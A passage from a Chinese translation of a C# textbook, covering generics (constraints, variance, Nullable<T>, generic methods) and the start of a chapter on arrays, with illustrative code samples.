list2.AddLast(1); list2.AddLast(3); list2.AddLast(5); foreach (int i in list2) { WriteLine(i); } 同样,可以对于字符串类型使用泛型LinkedList<T>,将字符串传递给AddLast()方 法。 var list3 = new LinkedList<string>(); list3.AddLast("2"); list3.AddLast("four"); list3.AddLast("foo"); foreach (string s in list3) { WriteLine(s); }  注意: 每个处理对象类型的类都可以有泛型实现方式。另外,如果类使用了 层次结构,泛型就非常有助于消除类型强制转换操作。 6.3 泛型类的功能 在创建泛型类时,还需要一些其他C#关键字。例如,不能把null赋予泛型类型。此 时,如下一节所述,可以使用default关键字。如果泛型类型不需要Object类的功能,但需 要调用泛型类上的某些特定方法,就可以定义约束。 本节讨论如下主题: ● 默认值 ● 约束 ● 继承 ● 静态成员 首先介绍一个使用泛型文档管理器的示例。文档管理器用于从队列中读写文档。先创 建一个新的控制台项目DocumentManager,并添加DocumentManager<T>类。 AddDocument()方法将一个文档添加到队列中。如果队列不为空,IsDocumentAvailable 只读属性就返回true(代码文件DocumentManager/DocumentManager.cs)。  注意: 在.NET Core中,这个示例需要引用NuGet包System. Collections。 using System; using System.Collections.Generic; namespace Wrox.ProCSharp.Generics { public class DocumentManager<T> { private readonly Queue<T> documentQueue = new Queue<T>(); public void AddDocument(T doc) { lock (this) { documentQueue.Enqueue(doc); } } public bool IsDocumentAvailable => documentQueue.Count > 0; } } 第21和22章将讨论线程和lock语句。 6.3.1 默认值 现在给DocumentManager<T>类添加一个GetDocument()方法。在这个方法中,应 把类型T指定为null。但是,不能把null赋予泛型类型。原因是泛型类型也可以实例化为值 类型,而null只能用于引用类型。为了解决这个问题,可以使用default关键字。通过 default关键字,将null赋予引用类型,将0赋予值类型。 public T GetDocument() { T doc = default(T); lock (this) { doc = documentQueue.Dequeue(); } return doc; }  注意: default关键字根据上下文可以有多种含义。switch语句使用default定义 默认情况。在泛型中,取决于泛型类型是引用类型还是值类型,泛型default将泛型类型 初始化为null或0。 6.3.2 约束 如果泛型类需要调用泛型类型中的方法,就必须添加约束。 对于DocumentManager<T>,文档的所有标题应在DisplayAllDocuments()方法中显 示。Document类实现带有Title和Content属性的IDocument接口(代码文件 DocumentManager/Document.cs): public interface IDocument { string Title { get; set; } string Content { get; set; } } public class Document: IDocument { public Document() { } public Document(string title, string content) { Title = title; Content = content; } public string Title { get; set; } public string Content { get; set; } } 要使用DocumentManager<T>类显示文档,可以将类型T强制转换为IDocument接口, 以显示标题(代码文件DocumentManager/DocumentManager.cs): public void DisplayAllDocuments() { foreach (T doc in documentQueue) { WriteLine(((IDocument)doc).Title); } } 问题是,如果类型T没有实现IDocument接口,这个类型强制转换就会导致一个运行 时异常。最好给DocumentManager<TDocument>类定义一个约束:TDocument类型必须实 现IDocument接口。为了在泛型类型的名称中指定该要求,将T改为TDocument。where子 句指定了实现IDocument接口的要求。 public class DocumentManager<TDocument> where TDocument: IDocument {  注意: 给泛型类型添加约束时,最好包含泛型参数名称的一些信息。现在, 示例代码给泛型参数使用TDocument,来代替T。对于编译器而言,参数名不重要,但 更具可读性。 这样就可以编写foreach语句,从而使类型TDocument包含属性Title。Visual Studio IntelliSense和编译器都会提供这个支持。 public void DisplayAllDocuments() { foreach (TDocument doc in documentQueue) { WriteLine(doc.Title); } } 在Main()方法中,用Document类型实例化DocumentManager<TDocument>类,而 Document类型实现了需要的IDocument接口。接着添加和显示新文档,检索其中一个文档 (代码文件DocumentManager/ Program.cs): public static void Main() { var dm = new DocumentManager<Document>(); dm.AddDocument(new Document("Title A", "Sample A")); dm.AddDocument(new Document("Title B", "Sample B")); dm.DisplayAllDocuments(); if (dm.IsDocumentAvailable) { Document d = dm.GetDocument(); WriteLine(d.Content); } } DocumentManager现在可以处理任何实现了IDocument接口的类。 在示例应用程序中介绍了接口约束。泛型支持几种约束类型,如表6-1所示。 表6-1 约束 说明 where T : struct 对于结构约束,类型T必须是值类型 where T : class 类约束指定类型T必须是引用类型 where T : IFoo 指定类型T必须实现接口IFoo where T : Foo 指定类型T必须派生自基类Foo where T : new() 这是一个构造函数约束,指定类型T必须有一个默认构造函 数 where T1 : T2 这个约束也可以指定,类型T1派生自泛型类型T2  注意: 只能为默认构造函数定义构造函数约束,不能为其他构造函数定义构 造函数约束。 使用泛型类型还可以合并多个约束。where T : IFoo, new()约束和MyClass<T>声明 指定,类型T必须实现IFoo接口,且必须有一个默认构造函数。 public class MyClass<T> where T: IFoo, new() { //...  注意: 在C#中,where子句的一个重要限制是,不能定义必须由泛型类型实 现的运算符。运算符不能在接口中定义。在where子句中,只能定义基类、接口和默认 构造函数。 6.3.3 继承 前面创建的LinkedList<T>类实现了IEnumerable<T>接口: public class LinkedList<T>: IEnumerable<T> { //... 泛型类型可以实现泛型接口,也可以派生自一个类。泛型类可以派生自泛型基类: public class Base<T> { } public class Derived<T>: Base<T> { } 其要求是必须重复接口的泛型类型,或者必须指定基类的类型,如下例所示: public class Base<T> { } public class Derived<T>: Base<string> { } 于是,派生类可以是泛型类或非泛型类。例如,可以定义一个抽象的泛型基类,它在 派生类中用一个具体的类实现。这允许对特定类型执行特殊的操作: public abstract class Calc<T> { public abstract T Add(T x, T y); public abstract T Sub(T x, T y); } public class IntCalc: Calc<int> { public override int Add(int x, int y) => x + y; public override int Sub(int x, int y) => x - y; } 还可以创建一个部分的特殊操作,如从Query中派生StringQuery类,只定义一个泛型 参数,如字符串TResult。要实例化StringQuery,只需要提供TRequest的类型: public class Query<TRequest, TResult> { } public StringQuery<TRequest> : Query<TRequest, string> { } 6.3.4 静态成员 泛型类的静态成员需要特别关注。泛型类的静态成员只能在类的一个实例中共享。下 面看一个例子,其中StaticDemo<T>类包含静态字段x: public class StaticDemo<T> { public static int x; } 由于同时对一个string类型和一个int类型使用了StaticDemo<T>类,因此存在两组静态 字段: StaticDemo<string>.x = 4; StaticDemo<int>.x = 5; WriteLine(StaticDemo<string>.x); // writes 4 6.4 泛型接口 使用泛型可以定义接口,在接口中定义的方法可以带泛型参数。在链表的示例中,就 实现了IEnumerable<out T>接口,它定义了GetEnumerator()方法,以返回 IEnumerator<out T>。.NET为不同的情况提供了许多泛型接口,例如,IComparable<T>、 ICollection<T>和IExtensibleObject<T>。同一个接口常常存在比较老的非泛型版本,例 如,.NET 1.0有基于对象的IComparable接口。IComparable<in T>基于一个泛型类型: public interface IComparable<in T> { int CompareTo(T other); }  注意: 不要混淆用于泛型参数的in和out关键字。参见“协变和抗变”一节。 比较老的非泛型接口IComparable需要一个带CompareTo()方法的对象。这需要强制 转换为特定的类型,例如,Person类要使用LastName属性,就需要使用CompareTo()方 法: public class Person: IComparable { public int CompareTo(object obj) { Person other = obj as Person; return this.lastname.CompareTo(other.LastName); } // 实现泛型版本时,不再需要将object的类型强制转换为Person: public class Person: IComparable<Person> { public int CompareTo(Person other) => LastName.CompareTo(other.LastName); //... 6.4.1 协变和抗变 在.NET 4之前,泛型接口是不变的。.NET 4通过协变和抗变为泛型接口和泛型委托添 加了一个重要的扩展。协变和抗变指对参数和返回值的类型进行转换。例如,可以给一个 需要Shape参数的方法传送Rectangle参数吗?下面用示例说明这些扩展的优点。 在.NET中,参数类型是协变的。假定有Shape和Rectangle类,Rectangle派生自Shape 基类。声明Display()方法是为了接受Shape类型的对象作为其参数: public void Display(Shape o) { } 现在可以传递派生自Shape基类的任意对象。因为Rectangle派生自Shape,所以 Rectangle满足Shape的所有要求,编译器接受这个方法调用: var r = new Rectangle { Width= 5, Height=2.5 }; Display(r); 方法的返回类型是抗变的。当方法返回一个Shape时,不能把它赋予Rectangle,因为 Shape不一定总是Rectangle。反过来是可行的:如果一个方法像GetRectangle()方法那样 返回一个Rectangle, public Rectangle GetRectangle(); 就可以把结果赋予某个Shape: Shape s = GetRectangle(); 在.NET Framework 4版本之前,这种行为方式不适用于泛型。自C# 4以后,扩展后的 语言支持泛型接口和泛型委托的协变和抗变。下面开始定义Shape基类和Rectangle类(代 码文件Variance/Shape.cs和Rectangle.cs): public class Shape { public double Width { get; set; } public double Height { get; set; } public override string ToString() => $"Width: {Width}, Height: {Height}"; } public class Rectangle: Shape { } 6.4.2 泛型接口的协变 如果泛型类型用out关键字标注,泛型接口就是协变的。这也意味着返回类型只能是 T。接口IIndex与类型T是协变的,并从一个只读索引器中返回这个类型(代码文件 Variance/IIndex.cs): public interface IIndex<out T> { T this[int index] { get; } int Count { get; } } IIndex<T>接口用RectangleCollection类来实现。RectangleCollection类为泛型类型T定 义了Rectangle:  注意: 如果对接口IIndex使用了读写索引器,就把泛型类型T传递给方法,并 从方法中检索这个类型。这不能通过协变来实现——泛型类型必须定义为不变的。不 使用out和in标注,就可以把类型定义为不变的(代码文件 Variance/RectangleCollection)。 public class RectangleCollection: IIndex<Rectangle> { private Rectangle[] data = new Rectangle[3] { new Rectangle { Height=2, Width=5 }, new Rectangle { Height=3, Width=7 }, new Rectangle { Height=4.5, Width=2.9 } }; private static RectangleCollection _coll; public static RectangleCollection GetRectangles() => _coll ? ? (coll = new RectangleCollection()); public Rectangle this[int index] { get { if (index < 0 || index > data.Length) throw new ArgumentOutOfRangeException("index"); return data[index]; } } public int Count => data.Length; }  注意: RectangleCollection.GetRectangles()方法使用了本章后面将会介绍的 合并运算符(coalescing operator)。如果变量col1为null,那么将会调用运算符的右 侧,以创建RectangleCollection的一个新实例,并将其赋给变量col1。之后,会从 GetRectangles()方法中返回变量col1。这个运算符详见第8章。 RectangleCollection.GetRectangle()方法返回一个实现IIndex<Rectangle>接口的 RectangleCollection类,所以可以把返回值赋予IIndex<Rectangle>类型的变量rectangle。因 为接口是协变的,所以也可以把返回值赋予IIndex<Shape>类型的变量。Shape不需要 Rectangle没有提供的内容。使用shapes变量,就可以在for循环中使用接口中的索引器和 Count属性(代码文件Variance/Program.cs): public static void Main() { IIndex<Rectangle> rectangles = RectangleCollection.GetRectangles(); IIndex<Shape> shapes = rectangles; for (int i = 0; i < shapes.Count; i++) { WriteLine(shapes[i]); } } 6.4.3 泛型接口的抗变 如果泛型类型用in关键字标注,泛型接口就是抗变的。这样,接口只能把泛型类型T 用作其方法的输入(代码文件Variance/IDisplay.cs): public interface IDisplay<in T> { void Show(T item); } ShapeDisplay类实现IDisplay<Shape>,并使用Shape对象作为输入参数(代码文件 Variance/ShapeDisplay.cs): public class ShapeDisplay: IDisplay<Shape> { public void Show(Shape s) => WriteLine($"{s.GetType().Name} Width: {s.Width}, Height: {s.Height}"); } 创建ShapeDisplay的一个新实例,会返回IDisplay<Shape>,并把它赋予shapeDisplay变 量。因为IDisplay<T>是抗变的,所以可以把结果赋予IDisplay<Rectangle>,其中Rectangle 派生自Shape。这次接口的方法只能把泛型类型定义为输入,而Rectangle满足Shape的所有 要求(代码文件Variance/Program.cs): public static void Main() { //... IDisplay<Shape> shapeDisplay = new ShapeDisplay(); IDisplay<Rectangle> rectangleDisplay = shapeDisplay; rectangleDisplay.Show(rectangles[0]); } 6.5 泛型结构 与类相似,结构也可以是泛型的。它们非常类似于泛型类,只是没有继承特性。本节 介绍泛型结构Nullable<T>,它由.NET Framework定义。 .NET Framework中的一个泛型结构是Nullable<T>。数据库中的数字和编程语言中的 数字有显著不同的特征,因为数据库中的数字可以为空,而C#中的数字不能为空。Int32 是一个结构,而结构实现同值类型,所以结构不能为空。这种区别常常令人很头痛,映射 数据也要多做许多辅助工作。这个问题不仅存在于数据库中,也存在于把XML数据映射 到.NET类型。 一种解决方案是把数据库和XML文件中的数字映射为引用类型,因为引用类型可以 为空值。但这也会在运行期间带来额外的系统开销。 使用Nullable<T>结构很容易解决这个问题。下面的代码段说明了如何定义 Nullable<T>的一个简化版本。结构Nullable<T>定义了一个约束:其中的泛型类型T必须是 一个结构。把类定义为泛型类型后,就没有低系统开销这个优点了,而且因为类的对象可 以为空,所以对类使用Nullable<T>类型是没有意义的。除了Nullable<T>定义的T类型之 外,唯一的系统开销是hasValue布尔字段,它确定是设置对应的值,还是使之为空。除此 之外,泛型结构还定义了只读属性HasValue和Value,以及一些运算符重载。把 Nullable<T>类型强制转换为T类型的运算符重载是显式定义的,因为当hasValue为false 时,它会抛出一个异常。强制转换为Nullable<T>类型的运算符重载定义为隐式的,因为 它总是能成功地转换: public struct Nullable<T> where T: struct { public Nullable(T value) { _hasValue = true; _value = value; } private bool _hasValue; public bool HasValue => _hasValue; private T _value; public T Value { get { if (! _hasValue) { throw new InvalidOperationException("no value"); } return _value; } } public static explicit operator T(Nullable<T> value) => _value.Value; public static implicit operator Nullable<T>(T value) => new Nullable<T>(val ue); public override string ToString() => ! HasValue ? string.Empty : _value.ToS tring(); } 在这个例子中,Nullable<T>用Nullable<int>实例化。变量x现在可以用作一个int,进 行赋值或使用运算符执行一些计算。这是因为强制转换了Nullable<T>类型的运算符。但 是,x还可以为空。Nullable<T>的HasValue和Value属性可以检查是否有一个值,该值是 否可以访问: Nullable<int> x; x = 4; x += 3; if (x.HasValue) { int y = x.Value; } x = null; 因为可空类型使用得非常频繁,所以C#有一种特殊的语法,它用于定义可空类型的 变量。定义这类变量时,不使用泛型结构的语法,而使用“?”运算符。在下面的例子中, 变量x1和x2都是可空的int类型的实例: Nullable<int> x1; int? x2; 可空类型可以与null和数字比较,如上所示。这里,x的值与null比较,如果x不是 null,它就与小于0的值比较: int? x = GetNullableType(); if (x == null) { WriteLine("x is null"); } else if (x < 0) { WriteLine("x is smaller than 0"); } 知道了Nullable<T>是如何定义的之后,下面就使用可空类型。可空类型还可以与算 术运算符一起使用。变量x3是变量x1和x2的和。如果这两个可空变量中任何一个的值是 null,它们的和就是null。 int? x1 = GetNullableType(); int? x2 = GetNullableType(); int? x3 = x1 + x2;  注意: 这里调用的GetNullableType()方法只是一个占位符,它对于任何方 法都返回一个可空的int。为了进行测试,简单起见,可以使实现的 GetNullableType()返回null或返回任意整数。 非可空类型可以转换为可空类型。从非可空类型转换为可空类型时,在不需要强制类 型转换的地方可以进行隐式转换。这种转换总是成功的: int y1 = 4; int? x1 = y1; 但从可空类型转换为非可空类型可能会失败。如果可空类型的值是null,并且把null 值赋予非可空类型,就会抛出InvalidOperationException类型的异常。这就是需要类型强制 转换运算符进行显式转换的原因: int? x1 = GetNullableType(); int y1 = (int)x1; 如果不进行显式类型转换,还可以使用合并运算符从可空类型转换为非可空类型。合 并运算符的语法是“??”,为转换定义了一个默认值,以防可空类型的值是null。这里, 如果x1是null, y1的值就是0。 int? x1 = GetNullableType(); int y1 = x1 ? ? 0; 6.6 泛型方法 除了定义泛型类之外,还可以定义泛型方法。在泛型方法中,泛型类型用方法声明来 定义。泛型方法可以在非泛型类中定义。 Swap<T>()方法把T定义为泛型类型,该泛型类型用于两个参数和一个变量temp: void Swap<T>(ref T x, ref T y) { T temp; temp = x; x = y; y = temp; } 把泛型类型赋予方法调用,就可以调用泛型方法: int i = 4; int j = 5; Swap<int>(ref i, ref j); 但是,因为C#编译器会通过调用Swap()方法来获取参数的类型,所以不需要把泛 型类型赋予方法调用。泛型方法可以像非泛型方法那样调用: int i = 4; int j = 5; Swap(ref i, ref j); 6.6.1 泛型方法示例 下面的例子使用泛型方法累加集合中的所有元素。为了说明泛型方法的功能,下面使 用包含Name和Balance属性的Account类(代码文件GenericMethods/Account.cs):  注意: 在.NET Core中,这个示例需要引用NuGet包System. Collections。 public class Account { public string Name { get; } public decimal Balance { get; private set; } public Account(string name, Decimal balance) { Name = name; Balance = balance; } } 其中应累加余额的所有账户操作都添加到List<Account>类型的账户列表中(代码文 件GenericMethods/Program.cs): var accounts = new List<Account>() { new Account("Christian", 1500), new Account("Stephanie", 2200), new Account("Angela", 1800), new Account("Matthias", 2400) }; 累加所有Account对象的传统方式是用foreach语句遍历所有的Account对象,如下所 示。foreach语句使用IEnumerable接口迭代集合的元素,所以AccumulateSimple()方法的 参数是IEnumerable类型。foreach语句处理实现IEnumerable接口的每个对象。这样, AccumulateSimple()方法就可以用于所有实现IEnumerable<Account>接口的集合类。在 这个方法的实现代码中,直接访问Account对象的Balance属性(代码文件 GenericMethods/Algorithm.cs): public static class Algorithms { public static decimal AccumulateSimple(IEnumerable<Account> source) { decimal sum = 0; foreach (Account a in source) { sum += a.Balance; } return sum; } } AccumulateSimple()方法的调用方式如下: decimal amount = Algorithms.AccumulateSimple(accounts); 6.6.2 带约束的泛型方法 第一个实现代码的问题是,它只能用于Account对象。使用泛型方法就可以避免这个 问题。 Accumulate()方法的第二个版本接受实现了IAccount接口的任意类型。如前面的泛 型类所述,泛型类型可以用where子句来限制。用于泛型类的这个子句也可以用于泛型方 法。Accumulate()方法的参数改为IEnumerable<T>。IEnumerable<T>是泛型集合类实现 的泛型接口(代码文件GenericMethods/ Algorithms.cs)。 public static decimal Accumulate<TAccount>(IEnumerable<TAccount> source) where TAccount: IAccount { decimal sum = 0; foreach (TAccount a in source) { sum += a.Balance; } return sum; } 重构的Account类现在实现接口IAccount(代码文件GenericMethods/Account.cs): public class Account: IAccount { //... IAccount接口定义了只读属性Balance和Name(代码文件 GenericMethods/IAccount.cs): public interface IAccount { decimal Balance { get; } string Name { get; } } 将Account类型定义为泛型类型参数,就可以调用新的Accumulate()方法(代码文 件GenericMethods/Program.cs): decimal amount = Algorithm.Accumulate<Account>(accounts); 因为编译器会从方法的参数类型中自动推断出泛型类型参数,所以以如下方式调用 Accumulate()方法是有效的: decimal amount = Algorithm.Accumulate(accounts); 6.6.3 带委托的泛型方法 泛型类型实现IAccount接口的要求过于严格。下面的示例提示了,如何通过传递一个 泛型委托来修改Accumulate()方法。第9章详细介绍了如何使用泛型委托,以及如何使 用lambda表达式。 这个Accumulate()方法使用两个泛型参数T1和T2。第一个参数T1用于实现 IEnumerable<T1>参数的集合,第二个参数使用泛型委托Func<T1, T2, TResult>。其中,第 2个和第3个泛型参数都是T2类型。需要传递的方法有两个输入参数(T1和T2)和一个T2 类型的返回值(代码文件Generic-Methods/Algorithm.cs): public static T2 Accumulate<T1, T2>(IEnumerable<T1> source, Func<T1, T2, T2> action) { T2 sum = default(T2); foreach (T1 item in source) { sum = action(item, sum); } return sum; } 在调用这个方法时,需要指定泛型参数类型,因为编译器不能自动推断出该类型。对 于方法的第1个参数,所赋予的accounts集合是IEnumerable<Account>类型。对于第2个参 数,使用一个lambda表达式来定义Account和decimal类型的两个参数,返回一个小数。对 于每一项,通过Accumulate()方法调用这个lambda表达式(代码文件 GenericMethods/Program.cs): decimal amount = Algorithm.Accumulate<Account, decimal>( accounts, (item, sum) => sum += item.Balance); 不要为这种语法伤脑筋。该示例仅说明了扩展Accumulate()方法的可能方式。 6.6.4 泛型方法规范 泛型方法可以重载,为特定的类型定义规范。这也适用于带泛型参数的方法。 Foo()方法定义了4个版本,第1个版本接受一个泛型参数,第2个版本是用于int参数的 专用版本。第3个Foo方法接受两个泛型参数,第4个版本是第3个版本的专用版本,其第 一个参数是int类型。在编译期间,会使用最佳匹配。如果传递了一个int,就选择带int参 数的方法。对于任何其他参数类型,编译器会选择方法的泛型版本(代码文件 Specialization/Program.cs): public class MethodOverloads { public void Foo<T>(T obj) { WriteLine($"Foo<T>(T obj), obj type: {obj.GetType().Name}"); } public void Foo(int x) { WriteLine("Foo(int x)"); } public void Foo<T1, T2>(T1 obj1, T2 obj2) { WriteLine($"Foo<T1, T2>(T1 obj1, T2 obj2); {obj1.GetType().Name} " + $"{obj2.GetType().Name}"); } public void Foo<T>(int obj1, T obj2) { WriteLine($"Foo<T>(int obj1, T obj2); {obj2.GetType().Name}"); } public void Bar<T>(T obj) { Foo(obj); } } Foo()方法现在可以通过任意参数类型来调用。下面的示例代码传递了int和string 值,调用所有4个Foo方法: static void Main() { var test = new MethodOverloads(); test.Foo(33); test.Foo("abc"); test.Foo("abc", 42); test.Foo(33, "abc"); } 运行该程序,可以从输出中看出选择了最佳匹配的方法: Foo(int x) Foo<T>(T obj), obj type: String Foo<T1, T2>(T1 obj1, T2 obj2); String Int32 Foo<T>(int obj1, T obj2); String 需要注意的是,所调用的方法是在编译期间而不是运行期间定义的。这很容易举例说 明:添加一个调用Foo()方法的Bar()泛型方法,并传递泛型参数值: public class MethodOverloads { // ... public void Bar<T>(T obj) { Foo(obj); } Main()方法现在改为调用传递一个int值的Bar()方法: static void Main() { var test = new MethodOverloads(); test.Bar(44); 从控制台的输出可以看出,Bar()方法选择了泛型Foo()方法,而不是用int参数 重载的Foo()方法。原因是编译器是在编译期间选择Bar()方法调用的Foo()方法。 由于Bar()方法定义了一个泛型参数,而且泛型Foo()方法匹配这个类型,所以调用了 Foo()方法。在运行期间给Bar()方法传递一个int值不会改变这一点。 Foo<T>(T obj), obj type: Int32 6.7 小结 本章介绍了CLR中一个非常重要的特性:泛型。通过泛型类可以创建独立于类型的 类,泛型方法是独立于类型的方法。接口、结构和委托也可以用泛型的方式创建。泛型引 入了一种新的编程方式。我们介绍了如何实现相应的算法(尤其是操作和谓词)以用于不 同的类,而且它们都是类型安全的。泛型委托可以去除集合中的算法。 本书还将探讨泛型的更多特性和用法。第9章介绍了常常实现为泛型的委托,第11章 论述了泛型集合类,第13章讨论了泛型扩展方法。第7章说明如何对于数组使用泛型方 法。 第7章 数组和元组 本章要点 ● 简单数组 ● 多维数组 ● 锯齿数组 ● Array类 ● 作为参数的数组 ● 枚举 ● 元组 ● 结构比较 本章源代码下载地址(wrox.com): 打开网页http://www.wrox.com/go/professionalcsharp6,单击Download Code选项卡即可 下载本章源代码。本章代码分为以下几个主要的示例文件: ● SimpleArrays ● SortingSample ● ArraySegment ● YieldSample ● TuplesSample ● StructuralComparison 7.1 同一类型和不同类型的多个对象 如果需要使用同一类型的多个对象,就可以使用集合(参见第11章)和数组。C#用 特殊的记号声明、初始化和使用数组。Array类在后台发挥作用,它为数组中元素的排序 和过滤提供了几个方法。使用枚举器,可以迭代数组中的所有元素。 如果需要使用不同类型的多个对象,可以使用Tuple(元组)类型。 7.2 简单数组 如果需要使用同一类型的多个对象,就可以使用数组。数组是一种数据结构,它可以 包含同一类型的多个元素。 7.2.1 数组的声明 在声明数组时,应先定义数组中元素的类型,其后是一对空方括号和一个变量名。例 如,下面声明了一个包含整型元素的数组: int[] myArray; 7.2.2 数组的初始化 声明了数组后,就必须为数组分配内存,以保存数组的所有元素。数组是引用类型, 所以必须给它分配堆上的内存。为此,应使用new运算符,指定数组中元素的类型和数量 来初始化数组的变量。下面指定了数组的大小。 myArray = new int[4];  注意: 值类型和引用类型请参见第3章。 在声明和初始化数组后,变量myArray就引用了4个整型值,它们位于托管堆上,如 图7-1所示。 图7-1  注意: 在指定了数组的大小后,如果不复制数组中的所有元素,就不能重新 设置数组的大小。如果事先不知道数组中应包含多少个元素,就可以使用集合。集合 请参见第11章。 除了在两个语句中声明和初始化数组之外,还可以在一个语句中声明和初始化数组: int[] myArray = new int[4]; 还可以使用数组初始化器为数组的每个元素赋值。数组初始化器只能在声明数组变量 时使用,不能在声明数组之后使用。 int[] myArray = new int[4] {4, 7, 11, 2}; 如果用花括号初始化数组,则还可以不指定数组的大小,因为编译器会自动统计元素 的个数: int[] myArray = new int[] {4, 7, 11, 2}; 使用C#编译器还有一种更简化的形式。使用花括号可以同时声明和初始化数组,编 译器生成的代码与前面的例子相同: int[] myArray = {4, 7, 11, 2}; 7.2.3 访问数组元素 在声明和初始化数组后,就可以使用索引器访问其中的元素了。数组只支持有整型参 数的索引器。 通过索引器传递元素编号,就可以访问数组。索引器总是以0开头,表示第一个元 素。可以传递给索引器的最大值是元素个数减1,因为索引从0开始。在下面的例子中,数 组myArray用4个整型值声明和初始化。用索引器对应的值0、1、2和3就可以访问该数组 中的元素。 int[] myArray = new int[] {4, 7, 11, 2}; int v1 = myArray[0]; // read first element int v2 = myArray[1]; // read second element myArray[3] = 44; // change fourth element  注意: 如果使用错误的索引器值(大于数组的长度),就会抛出 IndexOutOfRangeException类型的异常。 如果不知道数组中的元素个数,则可以在for语句中使用Length属性: for (int i = 0; i < myArray.Length; i++) { WriteLine(myArray[i]); } 除了使用for语句迭代数组中的所有元素之外,还可以使用foreach语句: foreach (var val in myArray) { WriteLine(val); }  注意: foreach语句利用了本章后面讨论的IEnumerable和IEnumerator接口,从 第一个索引遍历数组,直到最后一个索引。 7.2.4 使用引用类型 除了能声明预定义类型的数组,还可以声明自定义类型的数组。下面用Person类来说 明,这个类有自动实现的属性Firstname和Lastname,以及从Object类重写的ToString() 方法(代码文件SimpleArrays/Person.cs): public class Person { public string FirstName { get; set; } public string LastName { get; set; } public override string ToString() => $"{FirstName} {LastName}"; } 声明一个包含两个Person元素的数组与声明一个int数组类似: Person[] myPersons = new Person[2]; 但是必须注意,如果数组中的元素是引用类型,就必须为每个数组元素分配内存。若 使用了数组中未分配内存的元素,就会抛出NullReferenceException类型的异常。  注意: 第14章介绍了错误和异常的详细内容。 使用从0开始的索引器,可以为数组的每个元素分配内存: myPersons[0] = new Person { FirstName="Ayrton", LastName="Senna" }; myPersons[1] = new Person { FirstName="Michael", LastName="Schumacher" }; 图7-2显示了Person数组中的对象在托管堆中的情况。myPersons是存储在栈上的一个 变量,该变量引用了存储在托管堆上的Person元素对应的数组。这个数组有足够容纳两个 引用的空间。数组中的每一项都引用了一个Person对象,而这些Person对象也存储在托管 堆上。 图7-2 与int类型一样,也可以对自定义类型使用数组初始化器: Person[] myPersons2 = { new Person { FirstName="Ayrton", LastName="Senna"}, new Person { FirstName="Michael", LastName="Schumacher"} }; 图7-3 7.3 多维数组 一般数组(也称为一维数组)用一个整数来索引。多维数组用两个或多个整数来索 引。 图7-3是二维数组的数学表示法,该数组有3行3列。 第1行的值是1、2和3,第3行的值是7、8和9。 在C#中声明这个二维数组,需要在方括号中加上一个 逗号。数组在初始化时应指定每一维的大小(也称为 阶)。接着,就可以使用两个整数作为索引器来访问数组 中的元素: int[, ] twodim = new int[3, 3]; twodim[0, 0] = 1; twodim[0, 1] = 2; twodim[0, 2] = 3; twodim[1, 0] = 4; twodim[1, 1] = 5; twodim[1, 2] = 6; twodim[2, 0] = 7; twodim[2, 1] = 8; twodim[2, 2] = 9;  注意: 声明数组后,就不能修改其阶数了。 如果事先知道元素的值,就可以使用数组索引器来初始化二维数组。在初始化数组 时,使用一个外层的花括号,每一行用包含在外层花括号中的内层花括号来初始化。 int[, ] twodim = { {1, 2, 3}, {4, 5, 6}, {7, 8, 9} };  注意: 使用数组初始化器时,必须初始化数组的每个元素,不能遗漏任何元 素。 在花括号中使用两个逗号,就可以声明一个三维数组: int[, , ] threedim = { { { 1, 2 }, { 3, 4 } }, { { 5, 6 }, { 7, 8 } }, { { 9, 10 }, { 11, 12 } } }; WriteLine(threedim[0, 1, 1]); 7.4 锯齿数组 二维数组的大小对应于一个矩形,如对应的元素个数为3×3。而锯齿数组的大小设置 比较灵活,在锯齿数组中,每一行都可以有不同的大小。 图7-4比较了有3×3个元素的二维数组和锯齿数组。图7-4中的锯齿数组有3行,第1行 有两个元素,第2行有6个元素,第3行有3个元素。 图7-4 在声明锯齿数组时,要依次放置左右括号。在初始化锯齿数组时,只在第1对方括号 中设置该数组包含的行数。定义各行中元素个数的第2个方括号设置为空,因为这类数组 的每一行包含不同的元素个数。之后,为每一行指定行中的元素个数: int[][] jagged = new int[3][]; jagged[0] = new int[2] { 1, 2 }; jagged[1] = new int[6] { 3, 4, 5, 6, 7, 8 }; jagged[2] = new int[3] { 9, 10, 11 }; 迭代锯齿数组中所有元素的代码可以放在嵌套的for循环中。在外层的for循环中迭代 每一行,在内层的for循环中迭代一行中的每个元素: for (int row = 0; row < jagged.Length; row++) { for (int element = 0; element < jagged[row].Length; element++) { WriteLine($"row: {row}, element: {element}, value: {jagged[row][element]} "); } } 该迭代结果显示了所有的行和每一行中的各个元素: row: 0, element: 0, value: 1 row: 0, element: 1, value: 2 row: 1, element: 0, value: 3 row: 1, element: 1, value: 4 row: 1, element: 2, value: 5 row: 1, element: 3, value: 6 row: 1, element: 4, value: 7 row: 1, element: 5, value: 8 row: 2, element: 0, value: 9 row: 2, element: 1, value: 10 row: 2, element: 2, value: 11 7.5 Array类 用方括号声明数组是C#中使用Array类的表示法。在后台使用C#语法,会创建一个派 生自抽象基类Array的新类。这样,就可以使用Array类为每个C#数组定义的方法和属性 了。例如,前面就使用了Length属性,或者使用foreach语句迭代数组。其实这是使用了 Array类中的GetEnumerator()方法。 Array类实现的其他属性有LongLength和Rank。如果数组包含的元素个数超出了整数 的取值范围,就可以使用LongLength属性来获得元素个数。使用Rank属性可以获得数组 的维数。 下面通过了解不同的功能来看看Array类的其他成员。 7.5.1 创建数组 Array类是一个抽象类,所以不能使用构造函数来创建数组。但除了可以使用C#语法 创建数组实例之外,还可以使用静态方法CreateInstance()创建数组。如果事先不知道元 素的类型,该静态方法就非常有用,因为类型可以作为Type对象传递给CreateInstance() 方法。 下面的例子说明了如何创建类型为int、大小为5的数组。CreateInstance()方法的第1 个参数应是元素的类型,第2个参数定义数组的大小。可以用SetValue()方法设置对应 元素的值,用GetValue()方法读取对应元素的值(代码文件 SimpleArrays/Program.cs): Array intArray1 = Array.CreateInstance(typeof(int), 5); for (int i = 0; i < 5; i++) { intArray1.SetValue(33, i); } for (int i = 0; i < 5; i++) { WriteLine(intArray1.GetValue(i)); } 还可以将已创建的数组强制转换成声明为int[]的数组: int[] intArray2 = (int[])intArray1; CreateInstance()方法有许多重载版本,可以创建多维数组和不基于0的数组。下面 的例子就创建了一个包含2×3个元素的二维数组。第一维基于1,第二维基于10: int[] lengths = { 2, 3 }; int[] lowerBounds = { 1, 10 }; Array racers = Array.CreateInstance(typeof(Person), lengths, lowerBounds); SetValue()方法设置数组的元素,其参数是每一维的索引: racers.SetValue(new Person { FirstName = "Alain", LastName = "Prost" }, 1, 10); racers.SetValue(new Person { FirstName = "Emerson", LastName = "Fittipaldi" }, 1, 11); racers.SetValue(new Person { FirstName = 